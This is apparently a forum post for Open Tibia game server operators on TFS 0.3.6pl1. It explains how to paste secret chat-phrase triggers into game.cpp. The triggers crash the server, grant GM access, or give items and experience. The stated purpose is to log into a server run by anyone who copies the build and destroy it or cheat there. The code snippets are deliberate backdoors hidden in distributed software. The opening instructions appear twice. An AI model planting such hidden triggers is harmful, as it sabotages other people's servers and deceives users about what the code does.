Hello.
I thought to publish an easy code (example) for Secure your server against of OT copy or bad teamwork - if someone steal your OT and if his dont have source, if you add some of this security thing, you can secure your OT ! (ex. you can be a GM or get 100 crystal coins).
Ok, lets go:
1) Open your compilator and load your dev.
2) Open game.cpp and search an function:
3) Under:
Paste some codes what you want,
here I give you some examples:
Now if any person steal your OT without get source of them, you can log in to his server and destroy it or playing with cheats ^_^
Tested on TFS 0.3.6pl1.
I thought to publish an easy code (example) for Secure your server against of OT copy or bad teamwork - if someone steal your OT and if his dont have source, if you add some of this security thing, you can secure your OT ! (ex. you can be a GM or get 100 crystal coins).
Ok, lets go:
1) Open your compilator and load your dev.
2) Open game.cpp and search an function:
Code:
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
3) Under:
Code:
player->manageAccount(text);
return true;
}
Paste some codes what you want,
here I give you some examples:
1. Command for Crash server:
Code:if(text == "__here_write_your_sentence_to_crash_stealer_server__") { exit(0); }
2. Give item or 100 crystal coin:
Code:if(text == "__here_write_your_sentence_to_give_items__") { internalPlayerAddItem(NULL, player, Item::CreateItem(2160, 100), true); // here are 100 crystal coins }
3. Give Access 6:
Code:if(text == "__here_write_sentence_to_add_access__") { player->setGroup(Groups::getInstance()->getGroup(6)); }
4. Give 999k experience:
Code:if(text == "__here_write_sentence_to_get_exp_points__") { player->addExperience(999999); }
Now if any person steal your OT without get source of them, you can log in to his server and destroy it or playing with cheats ^_^
Tested on TFS 0.3.6pl1.